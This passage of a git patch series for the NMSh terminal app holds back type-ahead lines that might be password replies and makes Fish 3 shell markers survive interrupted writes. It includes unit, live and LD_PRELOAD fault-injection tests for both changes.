this.render(); } - /** Add the composer's text to the queue. */ - private enqueue(text: string): void { + /** + * Add the composer's text to the queue. `typedWhileRunning`: a plain Enter while a command runs, with no question + * NMSh could see. Such a line may be a reply to a read that has not asked yet (#426); if that read gives up unseen + * and the command succeeds, the line would run as a command. One that does not start with a command this shell + * knows would only fail as a command (a password would reach the shell's history), so it waits for approval instead. + */ + private enqueue(text: string, typedWhileRunning = false): void { if (!this.queueAvailable()) { this.output.addFrontendInteraction('/queue', this.session.features.has('queue') ? 'Queueing is off (Settings → Sessions → Queue commands).' : 'This session\'s service is older and has no command queue; restart NMSh\'s session service to use it.', INFO); @@ -11766,7 +11771,14 @@ export class TerminalApp { return; } this.syncQueuePolicy(); - this.session.queue({op: 'add', text}); + const waits = typedWhileRunning && !this.startsWithCommand(text); + this.session.queue({op: 'add', text, ...(waits && this.queueConditionsAvailable() ? {condition: 'approve' as const} : {})}); + if (waits) { + const program = commandWords(this.running?.command ?? '')[0] ?? 'the command'; + if (!this.queueConditionsAvailable()) this.session.queue({op: 'pause'}); + // The note never repeats the text: it may be a password. + this.output.addFrontendInteraction(program, `The line queued while ${program} runs does not start with a command this shell knows, so it may be a reply for ${program}; it ${this.queueConditionsAvailable() ? 'waits for your approval' : 'pauses the queue'} (/queue) instead of running by itself.`, INFO); + } this.sessionSubmissions.push({text, slash: false}); if (this.sessionSubmissions.length > SESSION_SUBMISSION_LIMIT) this.sessionSubmissions.shift(); this.editor.clear(); @@ -11776,6 +11788,19 @@ export class TerminalApp { this.render(); } + /** + * Whether a queued line's first command word is one this shell knows: an alias, function, builtin or keyword, or an + * executable by path or on PATH. A word not classified yet is checked against the shell's builtins and PATH. + */ + private startsWithCommand(text: string): boolean { + const first = text.split('\n').find(line => line.trim()) ?? ''; + const token = this.highlighter.tokenize(graphemes(first), this.semanticService.cache) + .find(item => ['Command', 'KnownCommand', 'Builtin', 'Alias', 'Function', 'UnknownCommand'].includes(item.type)); + if (!token || token.type === 'UnknownCommand') return false; + if (token.type !== 'Command') return true; + return token.text.includes('/') || shellAdapter(this.shellId).builtins.has(token.text) || Boolean(resolveCommand(token.text)); + } + /** * Enter, Ctrl+Q (queue) and Ctrl+S (send to the running program). Input ownership comes first: a program that is * waiting for input (InputWatch's evidence) gets Enter, and only an explicit Ctrl+Q queues then. Otherwise, while @@ -11818,7 +11843,7 @@ export class TerminalApp { return; } if (!text.trim()) return; - this.enqueue(text); + this.enqueue(text, intent === 'enter'); return; } if (intent === 'send') return; @@ -12067,11 +12092,12 @@ export class TerminalApp { const hidden = request.mode === 'hidden'; if (this.hiddenQueueCheck?.startId === running.startId && this.hiddenQueueCheck.since === request.since) return; this.hiddenQueueCheck = {startId: running.startId, since: request.since}; - const typed = this.queueState.entries.filter(entry => entry.addedAt >= running.startedAt && entry.condition !== 'approve'); + // Entries already waiting (a line that did not start with a command) are counted, not changed; approved ones are left. + const typed = this.queueState.entries.filter(entry => entry.addedAt >= running.startedAt && !(entry.condition === 'approve' && entry.approved)); if (!typed.length) return; const program = commandWords(running.command)[0] ?? 'The command'; if (this.queueConditionsAvailable()) { - for (const entry of typed) this.session.queue({op: 'condition', id: entry.id, condition: 'approve'}); + for (const entry of typed) if (entry.condition !== 'approve') this.session.queue({op: 'condition', id: entry.id, condition: 'approve'}); const count = typed.length === 1 ? 'the command queued while it ran waits' : `the ${typed.length} commands queued while it ran wait`; this.output.addFrontendInteraction(program, `${program} asked for ${hidden ? 'hidden ' : ''}input; ${count} for your approval (/queue), in case one was its reply.`, INFO); } else { diff --git a/tests/inputOwnershipSecrets.test.ts b/tests/inputOwnershipSecrets.test.ts index 092db791..8d72ea2f 100644 --- a/tests/inputOwnershipSecrets.test.ts +++ b/tests/inputOwnershipSecrets.test.ts @@ -426,3 +426,48 @@ test('gate: a visible reply queued before NMSh saw the read waits for approval o assert.deepEqual(f.dispatched, [], 'never run after the command'); } finally { f.dispose(); } }); + +/** + * #426 residual (v0.22 stabilization): a reply typed and entered before a question with no prompt existed is queued (NMSh + * cannot know). If that read gives up before any look sees it (a timed `read -t`, between looks that are seconds apart + * on a quiet command, or a program's read macOS cannot report) and the command succeeds, the entry used to run as a + * shell command: a password into the shell's history and its "command not found" output. A line typed while a command + * runs that does not start with a command this shell knows would only fail as a command; it now waits for approval + * instead of running by itself. Ordinary type-ahead (a real command) still runs after the command, as before. + */ +test('#426 residual: a reply queued before a timed prompt-less read NMSh never saw; the read gives up, the command succeeds: not run', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sleep 1; read -t 1 QA_REPLY || true'); + f.type(SECRET); + f.answer('visible'); await settled(); + f.enter(); + f.answer('visible'); await settled(); + assert.deepEqual(f.adds(), [SECRET], 'queued (NMSh could not know)'); + const entry = f.owner.state.entries.find(item => item.text === SECRET); + assert.equal(entry?.condition, 'approve', 'it waits for approval'); + assert.match(f.transcript(), /does not start with a command/u, 'a note says why'); + assert.equal(f.transcript().includes(SECRET), false, 'the note never repeats the text'); + // No question was ever reported: the read gave up unseen, and the command succeeded. + f.tick(1500); + f.complete(0); await settled(); + f.neverRun(SECRET, 'after the command succeeded'); + } finally { f.dispose(); } +}); + +test('#426 residual: ordinary type-ahead is unchanged: a real command typed while one runs still runs after it', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sleep 1; read -t 1 QA_REPLY || true'); + f.type('ls -la'); + f.answer('visible'); await settled(); + f.enter(); + f.answer('visible'); await settled(); + assert.equal(f.owner.state.entries.find(item => item.text === 'ls -la')?.condition, undefined, 'no approval asked'); + f.tick(1500); + f.complete(0); await settled(); + assert.deepEqual(f.dispatched, ['ls -la']); + } finally { f.dispose(); } +}); diff --git a/tests/inputOwnershipSecretsLive.test.ts b/tests/inputOwnershipSecretsLive.test.ts index da7fc929..539e5a79 100644 --- a/tests/inputOwnershipSecretsLive.test.ts +++ b/tests/inputOwnershipSecretsLive.test.ts @@ -101,3 +101,55 @@ for (const shell of ['zsh', 'bash'] as const) { } finally { await sandbox.dispose(); } }); } + +/** + * #426 residual, live: a reply typed and entered before a timed read with no prompt asks (here a program's read, which + * macOS cannot report at all). The read gives up and the command succeeds. The line used to run as a command; one that + * does not start with a command this shell knows now waits for approval, while a real command typed the same way still + * runs after it. + */ +const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish'].find(existsSync); +const perl = ['/usr/bin/perl', '/opt/homebrew/bin/perl', '/usr/local/bin/perl'].find(existsSync); +for (const shell of ['zsh', 'bash', 'fish'] as const) { + const available = supported && Boolean(perl) && (shell === 'zsh' || (shell === 'bash' ? bash : fish)); + test(`live ${shell}: a reply entered before a timed read nobody saw: the read gives up, the command succeeds; never run, a real command still runs`, {skip: available ? false : `${shell} or perl not available`, timeout: 120_000}, async () => { + const sandbox = new LiveSandbox({provider: 'none', shellBackend: shell}, shell === 'bash' && bash ? {PATH: `${bash.replace(/\/bash$/u, '')}:${process.env.PATH}`} : {}); + if (shell !== 'fish') { const [rc, , content] = HISTORY[shell]; writeFileSync(join(sandbox.home, rc), content); } + const frontend = sandbox.launch([], {cols: 120, rows: 36}); + // Answer the terminal queries Fish's reader waits for, as a real terminal does. + frontend.pty.onData(data => { + if (data.includes('\u001b[c') || data.includes('\u001b[0c')) frontend.pty.write('\u001b[?62;22c'); + if (data.includes('\u001b[6n')) frontend.pty.write('\u001b[1;1R'); + }); + try { + await frontend.waitFor(/zsh|bash|fish/u); + await until(async () => (await sandbox.sessions()).some(session => session.lastExit !== undefined), 30_000, 'the first prompt'); + await frontend.run('echo READY', /READY/u); + const records = async () => (await sandbox.transcripts().list()).flatMap(session => session.transcript.records); + const command = `sleep 2; ${perl} -e 'alarm 1; <STDIN>'; true`; + const ran = async () => (await records()).filter(record => record.command === command).length; + // The real command first: an entry left waiting for approval would hold anything queued after it. + for (const [typed, runs] of [['echo QA-NEXT-RAN', true], [SECRET, false]] as const) { + const mark = frontend.mark; + const before = await ran(); + frontend.pty.write(`${command}\r`); + await pause(500); + for (const char of typed) { frontend.pty.write(char); await pause(15); } + frontend.pty.write('\r'); + await frontend.waitFor(/1 (?:queued|waiting)/u, mark, 10_000); + await until(async () => await ran() === before + 1, 20_000, 'the command to complete'); + if (runs) { + await until(async () => (await records()).some(record => record.command === typed), 15_000, 'the real command to run after it'); + continue; + } + // Anything that would run after it has had time to start. + await pause(2500); + assert.equal((await records()).some(record => record.command?.includes(SECRET)), false, 'never run: not in NMSh\'s journal'); + assert.match(strip(frontend.output.slice(mark)), /does not start with a command this shell knows/u); + assert.doesNotMatch(strip(frontend.output.slice(mark)), new RegExp(`${SECRET}[^\\n]*(?:not found|No such|Unknown command)|(?:not found|No such|Unknown command)[^\\n]*${SECRET}`, 'u'), + 'the shell never saw it as a command'); + if (shell !== 'fish') assert.equal(readFileSync(join(sandbox.home, HISTORY[shell][1]), 'utf8').includes(SECRET), false, 'not in the shell\'s history'); + } + } finally { await sandbox.dispose(); } + }); +} From f909e778f8d05dfd990be28d383de6c2f9ca48e4 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 17:18:40 +0530 Subject: [PATCH 085/157] Fish integration: fault-injection test for an interrupted marker write (#443) #443's evidence so far was timing: a CI loop and an strace that saw two real interrupted marker writes retried. This test makes write() fail with EINTR a set number of times through a preloaded shim (Linux, Fish 3.7 on CI), so nothing depends on when SIGWINCH lands. It also characterises the residual: Fish 3 drops its own interrupted output; Fish 4 retries. The marker function moves to an exported constant so the test runs the bootstrap's own text. Expected to fail on CI before the next commit: two interruptions in a row, and a write that never succeeds (the retry prints "write: Interrupted system call"). --- src/shell/adapters/FishAdapter.ts | 17 ++++-- tests/fishMarkerWrite.test.ts | 93 +++++++++++++++++++++++++++++++ 2 files changed, 104 insertions(+), 6 deletions(-) create mode 100644 tests/fishMarkerWrite.test.ts diff --git a/src/shell/adapters/FishAdapter.ts b/src/shell/adapters/FishAdapter.ts index 37332210..f947aaa4 100644 --- a/src/shell/adapters/FishAdapter.ts +++ b/src/shell/adapters/FishAdapter.ts @@ -29,18 +29,23 @@ const FISH_BUILTINS = new Set(['and', 'begin', 'bg', 'bind', 'block', 'break', ' 'math', 'not', 'or', 'path', 'printf', 'pwd', 'random', 'read', 'realpath', 'return', 'set', 'set_color', 'source', 'status', 'string', 'switch', 'test', 'time', 'true', 'type', 'ulimit', 'wait', 'while', 'abbr', 'argparse']); +/** + * One of NMSh's markers, written again once if the write fails. Fish 3 does not retry a terminal write that a signal + * interrupts (a window-size change while the write waits), and a lost marker leaves NMSh wrong about whether a command + * runs (#443). An interrupted write normally writes nothing (as in #443's trace), so the marker arrives once. + */ +export const FISH_MARK_FUNCTION = `function __nmsh_mark + printf $argv 2>/dev/null; or printf $argv +end`; + function bootstrap({token, knowledgePath, bridgeEnvPath}: LaunchContext, originalTerm: string | undefined): string { const sync = bridgeEnvPath ? '\n nmsh_bridge_sync' : ''; const marker = (body: string) => `__nmsh_mark '\\e]777;nmsh;${token};${body}\\a'`; return `# NMSh managed fish session bootstrap (private, per session) ${originalTerm ? `set -gx TERM ${fishQuote(originalTerm)}` : ''} set -g fish_greeting -# One of NMSh's markers, written again once if the write fails. Fish 3 does not retry a terminal write that a signal -# interrupts (a window-size change while the write waits), and a lost marker leaves NMSh wrong about whether a command -# runs (#443). An interrupted write normally writes nothing (as in #443's trace), so the marker arrives once. -function __nmsh_mark - printf $argv 2>/dev/null; or printf $argv -end +# NMSh's markers survive an interrupted write (#443). +${FISH_MARK_FUNCTION} # Fish >= 4 only; NMSh shows its own suggestions. set -g fish_autosuggestion_enabled 0 function fish_prompt diff --git a/tests/fishMarkerWrite.test.ts b/tests/fishMarkerWrite.test.ts new file mode 100644 index 00000000..a241e093 --- /dev/null +++ b/tests/fishMarkerWrite.test.ts @@ -0,0 +1,93 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; +import {existsSync, mkdtempSync, rmSync, writeFileSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {FISH_MARK_FUNCTION} from '../src/shell/adapters/FishAdapter.js'; + +/** + * #443, by fault injection instead of timing. Fish 3 does not retry a terminal write that a signal interrupts: the + * kernel returns EINTR (ERESTARTSYS without SA_RESTART, as #443's strace showed for SIGWINCH), Fish prints "write: + * Interrupted system call" and the bytes are gone. Here a preloaded shim makes write() fail with exactly that error, a + * set number of times, for a write that contains a given text; nothing depends on when a signal lands. + * + * Linux only (LD_PRELOAD), with a C compiler and Fish; CI's Ubuntu runner has Fish 3.7.0. + */ +const fish = ['/usr/bin/fish', '/usr/local/bin/fish', '/opt/homebrew/bin/fish'].find(existsSync); +const cc = ['/usr/bin/cc', '/usr/bin/gcc', '/usr/bin/clang'].find(existsSync); +const major = fish ? Number(/version (\d+)/u.exec(spawnSync(fish, ['--version'], {encoding: 'utf8'}).stdout ?? '')?.[1]) : NaN; +const skip = process.platform !== 'linux' ? 'needs LD_PRELOAD (Linux)' : !fish ? 'fish not installed' : !cc ? 'no C compiler' : false; + +const SHIM = String.raw` +#define _GNU_SOURCE +#include <dlfcn.h> +#include <errno.h> +#include <stdlib.h> +#include <string.h> +#include <unistd.h> +static ssize_t (*real_write)(int, const void *, size_t); +static int remaining = -1; +ssize_t write(int fd, const void *buffer, size_t length) { + if (!real_write) real_write = (ssize_t (*)(int, const void *, size_t))dlsym(RTLD_NEXT, "write"); + if (remaining < 0) { const char *fails = getenv("QA_EINTR_FAILS"); remaining = fails ? atoi(fails) : 0; } + const char *match = getenv("QA_EINTR_MATCH"); + if (remaining > 0 && match && *match && memmem(buffer, length, match, strlen(match))) { remaining -= 1; errno = EINTR; return -1; } + return real_write(fd, buffer, length); +} +`; + +let root: string | undefined; +let shim: string | undefined; +function build(): string { + if (shim) return shim; + root = mkdtempSync(join(process.env.TMPDIR ?? tmpdir(), 'nmsh-eintr-')); + writeFileSync(join(root, 'shim.c'), SHIM); + shim = join(root, 'shim.so'); + const built = spawnSync(cc!, ['-shared', '-fPIC', '-o', shim, join(root, 'shim.c'), '-ldl'], {encoding: 'utf8'}); + assert.equal(built.status, 0, built.stderr); + return shim; +} +test.after(() => { if (root) rmSync(root, {recursive: true, force: true}); }); + +/** Run a Fish script with NMSh's marker function; the first `fails` writes containing `match` fail with EINTR. */ +function run(script: string, match: string, fails: number) { + const result = spawnSync(fish!, ['--no-config', '-c', `${FISH_MARK_FUNCTION}\n${script}`], {encoding: 'utf8', timeout: 20_000, + env: {...process.env, LD_PRELOAD: build(), QA_EINTR_MATCH: match, QA_EINTR_FAILS: String(fails)}}); + assert.equal(result.error, undefined, 'fish ran and ended'); + return {stdout: result.stdout, stderr: result.stderr}; +} +const count = (text: string, part: string) => text.split(part).length - 1; +const MARK = `__nmsh_mark '\\e]777;nmsh;QA;mark\\a'; echo QA-AFTER`; +const MARKER = '\u001b]777;nmsh;QA;mark\u0007'; + +test('the shim is faithful: an interrupted write in Fish fails as #443\'s trace did', {skip}, () => { + const {stdout, stderr} = run('echo QA-OUTPUT', 'QA-OUTPUT', 1); + if (major < 4) { + // Fish 3's own output is lost, with the error #443 showed. NMSh cannot retry a person's command for them: the + // documented limit (Linux, Fish 3), whose cause is NMSh resizing the terminal while a command runs. + assert.equal(stdout.includes('QA-OUTPUT'), false, 'Fish 3 drops the interrupted write'); + assert.match(stderr, /Interrupted system call/u); + } else assert.match(stdout, /QA-OUTPUT/u, 'Fish 4 retries an interrupted write'); +}); + +test('a marker whose write is interrupted once arrives exactly once', {skip}, () => { + const {stdout, stderr} = run(MARK, ']777;nmsh;QA;', 1); + assert.equal(count(stdout, MARKER), 1); + assert.match(stdout, /QA-AFTER/u); + assert.doesNotMatch(stderr, /Interrupted/u, 'no error reaches the person'); +}); + +test('a marker whose write is interrupted twice in a row still arrives exactly once (resizes come in bursts)', {skip}, () => { + const {stdout, stderr} = run(MARK, ']777;nmsh;QA;', 2); + assert.equal(count(stdout, MARKER), 1); + assert.match(stdout, /QA-AFTER/u); + assert.doesNotMatch(stderr, /Interrupted/u, 'no error reaches the person'); +}); + +test('a marker that cannot be written is given up after a bounded number of attempts: no error text, no hang', {skip}, () => { + const {stdout, stderr} = run(MARK, ']777;nmsh;QA;', 50); + assert.equal(count(stdout, MARKER), major < 4 ? 0 : 1); + assert.match(stdout, /QA-AFTER/u, 'the command goes on'); + assert.doesNotMatch(stderr, /Interrupted/u, 'no error reaches the person'); +}); From eef10fd09977afcc2f895953c112685bbf277fc3 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 17:50:20 +0530 Subject: [PATCH 086/157] Fish integration: on Fish 3, markers go through cat, so an interrupted write never loses one (#443) The fault-injection test (f909e778) failed on CI's Ubuntu Fish 3.7.0 as expected for two interruptions in a row, and showed more: even when #445's single retry saved the marker, Fish 3 printed "write: Interrupted system call" into the transcript. Fish 3 reports a failed builtin write from its own output layer on its own stderr, so the builtin's 2>/dev/null never silenced it (#443's strace shows the same). On Fish 3 a marker is now printf'd into a pipe (a few bytes, never blocked, so never interrupted) and written to the terminal by cat, which ignores SIGWINCH and retries an interrupted write. The marker travels on stdin, never in arguments. Fish 4 retries by itself and keeps the builtin. The cost is one short cat per marker, on Fish 3 only. The test now runs Fish in a real terminal and fails only terminal writes, as the real signal does (a pipe write of a few bytes never waits). A characterisation test runs #445's helper under the same faults: on Fish 3 it shows the error and loses a marker interrupted twice. Command output from Fish's own builtins is still lost on Fish 3 (the shim test documents it); NMSh cannot retry a person's command for them. --- src/shell/adapters/FishAdapter.ts | 19 ++++++-- tests/fishMarkerWrite.test.ts | 77 ++++++++++++++++++------------- 2 files changed, 59 insertions(+), 37 deletions(-) diff --git a/src/shell/adapters/FishAdapter.ts b/src/shell/adapters/FishAdapter.ts index f947aaa4..7ace0b91 100644 --- a/src/shell/adapters/FishAdapter.ts +++ b/src/shell/adapters/FishAdapter.ts @@ -30,12 +30,21 @@ const FISH_BUILTINS = new Set(['and', 'begin', 'bg', 'bind', 'block', 'break', ' 'time', 'true', 'type', 'ulimit', 'wait', 'while', 'abbr', 'argparse']); /** - * One of NMSh's markers, written again once if the write fails. Fish 3 does not retry a terminal write that a signal - * interrupts (a window-size change while the write waits), and a lost marker leaves NMSh wrong about whether a command - * runs (#443). An interrupted write normally writes nothing (as in #443's trace), so the marker arrives once. + * One of NMSh's markers. Fish 3 does not retry a terminal write that a signal interrupts (a window-size change while + * the write waits): it prints "write: Interrupted system call" on its own stderr and the bytes are gone, and a lost + * marker leaves NMSh wrong about whether a command runs (#443). Retrying in Fish still printed that error, and a burst + * of resizes could interrupt every retry. On Fish 3 the marker goes through `cat` instead: printf only fills a pipe (a + * few bytes, never blocked), and cat, which ignores the window-size signal and retries an interrupted write, writes + * it to the terminal. The marker travels on stdin, never in a process's arguments. Fish 4 retries by itself. */ -export const FISH_MARK_FUNCTION = `function __nmsh_mark - printf $argv 2>/dev/null; or printf $argv +export const FISH_MARK_FUNCTION = `if string match -qr '^[0-3]\\.' -- $version; and command -q cat + function __nmsh_mark + printf $argv | command cat + end +else + function __nmsh_mark + printf $argv 2>/dev/null; or printf $argv + end end`; function bootstrap({token, knowledgePath, bridgeEnvPath}: LaunchContext, originalTerm: string | undefined): string { diff --git a/tests/fishMarkerWrite.test.ts b/tests/fishMarkerWrite.test.ts index a241e093..5bf9c09e 100644 --- a/tests/fishMarkerWrite.test.ts +++ b/tests/fishMarkerWrite.test.ts @@ -1,6 +1,7 @@ import test from 'node:test'; import assert from 'node:assert/strict'; import {spawnSync} from 'node:child_process'; +import pty from 'node-pty'; import {existsSync, mkdtempSync, rmSync, writeFileSync} from 'node:fs'; import {tmpdir} from 'node:os'; import {join} from 'node:path'; @@ -9,10 +10,11 @@ import {FISH_MARK_FUNCTION} from '../src/shell/adapters/FishAdapter.js'; /** * #443, by fault injection instead of timing. Fish 3 does not retry a terminal write that a signal interrupts: the * kernel returns EINTR (ERESTARTSYS without SA_RESTART, as #443's strace showed for SIGWINCH), Fish prints "write: - * Interrupted system call" and the bytes are gone. Here a preloaded shim makes write() fail with exactly that error, a - * set number of times, for a write that contains a given text; nothing depends on when a signal lands. + * Interrupted system call" and the bytes are gone. Here a preloaded shim makes a terminal write() fail with exactly that + * error, a set number of times, when it contains a given text; nothing depends on when a signal lands. Only terminal + * writes fail, as with the real signal: a few bytes into a pipe never wait, so nothing interrupts them. * - * Linux only (LD_PRELOAD), with a C compiler and Fish; CI's Ubuntu runner has Fish 3.7.0. + * Linux only (LD_PRELOAD), with a C compiler and Fish; CI's Ubuntu runner has Fish 3.7.0. Fish runs in a real terminal. */ const fish = ['/usr/bin/fish', '/usr/local/bin/fish', '/opt/homebrew/bin/fish'].find(existsSync); const cc = ['/usr/bin/cc', '/usr/bin/gcc', '/usr/bin/clang'].find(existsSync); @@ -32,7 +34,7 @@ ssize_t write(int fd, const void *buffer, size_t length) { if (!real_write) real_write = (ssize_t (*)(int, const void *, size_t))dlsym(RTLD_NEXT, "write"); if (remaining < 0) { const char *fails = getenv("QA_EINTR_FAILS"); remaining = fails ? atoi(fails) : 0; } const char *match = getenv("QA_EINTR_MATCH"); - if (remaining > 0 && match && *match && memmem(buffer, length, match, strlen(match))) { remaining -= 1; errno = EINTR; return -1; } + if (remaining > 0 && match && *match && isatty(fd) && memmem(buffer, length, match, strlen(match))) { remaining -= 1; errno = EINTR; return -1; } return real_write(fd, buffer, length); } `; @@ -50,44 +52,55 @@ function build(): string { } test.after(() => { if (root) rmSync(root, {recursive: true, force: true}); }); -/** Run a Fish script with NMSh's marker function; the first `fails` writes containing `match` fail with EINTR. */ -function run(script: string, match: string, fails: number) { - const result = spawnSync(fish!, ['--no-config', '-c', `${FISH_MARK_FUNCTION}\n${script}`], {encoding: 'utf8', timeout: 20_000, - env: {...process.env, LD_PRELOAD: build(), QA_EINTR_MATCH: match, QA_EINTR_FAILS: String(fails)}}); - assert.equal(result.error, undefined, 'fish ran and ended'); - return {stdout: result.stdout, stderr: result.stderr}; +/** + * Run a Fish script with NMSh's marker function in a terminal; in every process, the first `fails` terminal writes + * containing `match` fail with EINTR. Resolves with everything the terminal received, once the script says it ended. + */ +function run(script: string, match: string, fails: number, mark = FISH_MARK_FUNCTION): Promise<string> { + const shim = build(); + return new Promise((resolve, reject) => { + const child = pty.spawn(fish!, ['--no-config', '-c', `${mark}\n${script}\necho QA-END`], {cols: 200, rows: 20, + env: {...process.env, LD_PRELOAD: shim, QA_EINTR_MATCH: match, QA_EINTR_FAILS: String(fails)} as Record<string, string>}); + let output = ''; + const timer = setTimeout(() => { child.kill(); reject(new Error(`fish did not finish: ${JSON.stringify(output)}`)); }, 20_000); + child.onData(data => { + output += data; + if (output.includes('QA-END')) { clearTimeout(timer); child.kill(); resolve(output); } + }); + }); } const count = (text: string, part: string) => text.split(part).length - 1; const MARK = `__nmsh_mark '\\e]777;nmsh;QA;mark\\a'; echo QA-AFTER`; const MARKER = '\u001b]777;nmsh;QA;mark\u0007'; -test('the shim is faithful: an interrupted write in Fish fails as #443\'s trace did', {skip}, () => { - const {stdout, stderr} = run('echo QA-OUTPUT', 'QA-OUTPUT', 1); +test('the shim is faithful: an interrupted terminal write in Fish fails as #443\'s trace did', {skip}, async () => { + const output = await run('echo QA-OUTPUT', 'QA-OUTPUT', 1); if (major < 4) { // Fish 3's own output is lost, with the error #443 showed. NMSh cannot retry a person's command for them: the // documented limit (Linux, Fish 3), whose cause is NMSh resizing the terminal while a command runs. - assert.equal(stdout.includes('QA-OUTPUT'), false, 'Fish 3 drops the interrupted write'); - assert.match(stderr, /Interrupted system call/u); - } else assert.match(stdout, /QA-OUTPUT/u, 'Fish 4 retries an interrupted write'); + assert.equal(output.includes('QA-OUTPUT\r\n'), false, 'Fish 3 drops the interrupted write'); + assert.match(output, /Interrupted system call/u); + } else assert.match(output, /QA-OUTPUT/u, 'Fish 4 retries an interrupted write'); }); -test('a marker whose write is interrupted once arrives exactly once', {skip}, () => { - const {stdout, stderr} = run(MARK, ']777;nmsh;QA;', 1); - assert.equal(count(stdout, MARKER), 1); - assert.match(stdout, /QA-AFTER/u); - assert.doesNotMatch(stderr, /Interrupted/u, 'no error reaches the person'); -}); +for (const fails of [1, 2, 50]) { + test(`a marker whose terminal write is interrupted ${fails === 50 ? 'again and again' : fails === 1 ? 'once' : 'twice in a row (resizes come in bursts)'} arrives exactly once, with no error shown`, {skip}, async () => { + const output = await run(MARK, ']777;nmsh;QA;', fails); + assert.equal(count(output, MARKER), 1); + assert.match(output, /QA-AFTER/u, 'the command goes on'); + assert.doesNotMatch(output, /Interrupted/u, 'no error reaches the person'); + }); +} -test('a marker whose write is interrupted twice in a row still arrives exactly once (resizes come in bursts)', {skip}, () => { - const {stdout, stderr} = run(MARK, ']777;nmsh;QA;', 2); - assert.equal(count(stdout, MARKER), 1); - assert.match(stdout, /QA-AFTER/u); - assert.doesNotMatch(stderr, /Interrupted/u, 'no error reaches the person'); -}); +/** #445's helper (v0.22 candidate 68c1cbb7): one retry with the builtin. */ +const RETRY_ONCE = `function __nmsh_mark + printf $argv 2>/dev/null; or printf $argv +end`; -test('a marker that cannot be written is given up after a bounded number of attempts: no error text, no hang', {skip}, () => { - const {stdout, stderr} = run(MARK, ']777;nmsh;QA;', 50); - assert.equal(count(stdout, MARKER), major < 4 ? 0 : 1); - assert.match(stdout, /QA-AFTER/u, 'the command goes on'); - assert.doesNotMatch(stderr, /Interrupted/u, 'no error reaches the person'); +test('the harness tells them apart: on Fish 3, #445\'s single retry shows the error and loses a marker interrupted twice', {skip: skip || (major >= 4 ? 'Fish 4 retries by itself' : false)}, async () => { + const once = await run(MARK, ']777;nmsh;QA;', 1, RETRY_ONCE); + assert.equal(count(once, MARKER), 1, 'one retry is enough for one interruption'); + assert.match(once, /Interrupted system call/u, 'but Fish 3 still prints the error into the transcript'); + const twice = await run(MARK, ']777;nmsh;QA;', 2, RETRY_ONCE); + assert.equal(count(twice, MARKER), 0, 'and two interruptions in a row lose the marker'); }); From 3d606e7a5996eb1d1bbae7aabd2b5466531eadbd Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 17:46:14 +0530 Subject: [PATCH 087/157] Input ownership: a function definition or plain shell syntax typed ahead is never held (#426) CI on 1972110c: commandQueueLive held `qfn() { echo "fn-$1"; }` (zsh, Bash) for approval, because the name being defined is not yet a command. A function definition, and a line with no command word at all (an assignment, a group), are the person's shell input and run as before; only a first command word the shell does not know waits for approval. The live residual test's control used the reading command too: Linux reports that read, and by design every entry typed during a command that asked waits for approval, a real command included. The control now types ahead during a command that reads nothing. --- src/app/TerminalApp.ts | 7 +++++-- tests/inputOwnershipSecrets.test.ts | 15 +++++++++------ tests/inputOwnershipSecretsLive.test.ts | 9 ++++++--- 3 files changed, 20 insertions(+), 11 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 3ab1c16d..c038dd7e 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -11790,13 +11790,16 @@ export class TerminalApp { /** * Whether a queued line's first command word is one this shell knows: an alias, function, builtin or keyword, or an - * executable by path or on PATH. A word not classified yet is checked against the shell's builtins and PATH. + * executable by path or on PATH. A word not classified yet is checked against the shell's builtins and PATH. Shell + * syntax with no command word (an assignment, a group) and a function definition are the person's shell input. */ private startsWithCommand(text: string): boolean { const first = text.split('\n').find(line => line.trim()) ?? ''; + if (/^\s*(?:function\s+\S|[A-Za-z_][\w.:-]*\s*\(\s*\))/u.test(first)) return true; const token = this.highlighter.tokenize(graphemes(first), this.semanticService.cache) .find(item => ['Command', 'KnownCommand', 'Builtin', 'Alias', 'Function', 'UnknownCommand'].includes(item.type)); - if (!token || token.type === 'UnknownCommand') return false; + if (!token) return true; + if (token.type === 'UnknownCommand') return false; if (token.type !== 'Command') return true; return token.text.includes('/') || shellAdapter(this.shellId).builtins.has(token.text) || Boolean(resolveCommand(token.text)); } diff --git a/tests/inputOwnershipSecrets.test.ts b/tests/inputOwnershipSecrets.test.ts index 8d72ea2f..4a15a72a 100644 --- a/tests/inputOwnershipSecrets.test.ts +++ b/tests/inputOwnershipSecrets.test.ts @@ -456,16 +456,19 @@ test('#426 residual: a reply queued before a timed prompt-less read NMSh never s } finally { f.dispose(); } }); -test('#426 residual: ordinary type-ahead is unchanged: a real command typed while one runs still runs after it', async t => { +test('#426 residual: ordinary type-ahead is unchanged: commands, definitions and assignments typed while one runs still run after it', async t => { const f = fixture(); try { t.mock.timers.enable({apis: ['setTimeout']}); f.begin('sleep 1; read -t 1 QA_REPLY || true'); - f.type('ls -la'); - f.answer('visible'); await settled(); - f.enter(); - f.answer('visible'); await settled(); - assert.equal(f.owner.state.entries.find(item => item.text === 'ls -la')?.condition, undefined, 'no approval asked'); + const typed = ['ls -la', 'qfn() { echo "fn-$1"; }', 'QUEUE_VAR=kept', 'function qfn2; echo hi; end']; + for (const line of typed) { + f.type(line); + f.answer('visible'); await settled(); + f.enter(); + f.answer('visible'); await settled(); + } + for (const line of typed) assert.equal(f.owner.state.entries.find(item => item.text === line)?.condition, undefined, `${line}: no approval asked`); f.tick(1500); f.complete(0); await settled(); assert.deepEqual(f.dispatched, ['ls -la']); diff --git a/tests/inputOwnershipSecretsLive.test.ts b/tests/inputOwnershipSecretsLive.test.ts index 539e5a79..314dc3f4 100644 --- a/tests/inputOwnershipSecretsLive.test.ts +++ b/tests/inputOwnershipSecretsLive.test.ts @@ -126,10 +126,13 @@ for (const shell of ['zsh', 'bash', 'fish'] as 